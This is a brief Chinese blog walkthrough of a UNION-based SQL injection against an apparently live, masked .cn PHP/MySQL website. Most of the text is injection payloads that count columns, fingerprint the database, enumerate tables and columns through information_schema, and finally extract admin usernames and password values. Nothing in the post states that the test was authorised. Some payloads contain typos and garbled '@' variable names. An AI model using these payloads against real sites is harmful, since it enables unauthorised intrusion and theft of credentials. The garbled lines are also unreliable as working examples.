记一次简单的sql注入测试
基本信息探测:
目标网站http://www.xxxxx.cn/
服务器IP:222.xxx.xxx.220(江苏)
环境平台:PHP+ MySQL5
实战测试过程
(1) 查询例数
order by用于对从表中选出的列进行排序 其语法为
order by 1
查询的列数我们假设有1列,那么以1排序不报错,那么可以证明其查询的列大于或者等于1
(2) 联合查询
UNION SELECT 1
查看数据显示位置
这边至于为什么在1前面加一个-就靠大家自己体会了
可以从前面报错信息中发现是Mysql数据库
Mysql数据库的内置函数:
user():当前的MySQL用户名和主机名
database():返回默认(当前)数据库名称如果没有默认数据库,则DATABASE()返回NULL
version():获取系统的版本号信息
命令:union select user() 查看当前的用户名
命令:union select database()查看当前数据库
命令:union seleect version()查看当前版本
mysql数据库中的全局函数
@ – 数据库路径
@ – 主机名
@ – DB版本
@ – 系统版本
(3) 查询所有的表
命令:union seleect group_concat(table_name) from information_schema.columns where table_schema=database()查询所有的表
(4) 列出字段
命令:查询admin里面字段UNION%20SELECT%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27admin%27
(4) 列出admin表中的id,name,adminpass字段内容
命令:UNION SELECT concat(id,0x3a,name,0x3a,adminpass) from admin 拿到用户名和密码
至此,整个SQL注入成功完成!
———————————————————————————————
扫描关注这个夏天计划
觉得不错点个“赞”、“在看”哦